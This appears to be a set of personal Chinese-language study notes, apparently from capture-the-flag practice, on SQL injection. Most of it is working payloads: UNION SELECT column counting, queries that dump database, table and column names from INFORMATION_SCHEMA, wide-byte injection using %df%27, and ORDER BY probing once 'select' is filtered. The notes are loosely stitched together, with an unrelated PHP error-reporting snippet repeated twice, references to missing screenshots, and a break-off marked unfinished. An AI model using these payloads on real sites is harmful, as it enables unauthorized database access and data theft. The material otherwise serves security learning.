<?php
// 关闭错误报告
error_reporting(0);
// 报告 runtime 错误
error_reporting(E_ERROR | E_WARNING | E_PARSE);
// 报告所有错误
error_reporting(E_ALL);
// 等同 error_reporting(E_ALL);
ini_set("error_reporting", E_ALL);
// 报告 E_NOTICE 之外的所有错误
error_reporting(E_ALL & ~E_NOTICE);
?>
0 'union select 1,2,3……………… # 到几时失败的前一个就是列数,比如1,2,3,4时不报错,加个5报错那么说明有4列
<?php
// 关闭错误报告
error_reporting(0);
// 报告 runtime 错误
error_reporting(E_ERROR | E_WARNING | E_PARSE);
// 报告所有错误
error_reporting(E_ALL);
// 等同 error_reporting(E_ALL);
ini_set("error_reporting", E_ALL);
// 报告 E_NOTICE 之外的所有错误
error_reporting(E_ALL & ~E_NOTICE);
?>
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #爆数据库名,表名
获取news 表的字段名,数据类型:
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'# news是表名
宽字节注入:
爆库名: id=%df%27 and 1=2 union select 2,database()%23
爆表名:
id=%df%27 and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
1. 进入常规的注入
和1' and 1=2 #之后发现存在注入,有结果回显,如图
2. 然后用联合查询查语句查询列数: 1'union select 1,2#
发现给出了过滤各个字段的提示:
接下来就各自发挥了
那么既然被过滤了select关键字,就不能用联合查询了,
改成: 1'order by 2 这里的 2 表示列数,如果2不对就继续3,4,5,
然后爆出来列数是两列,未完……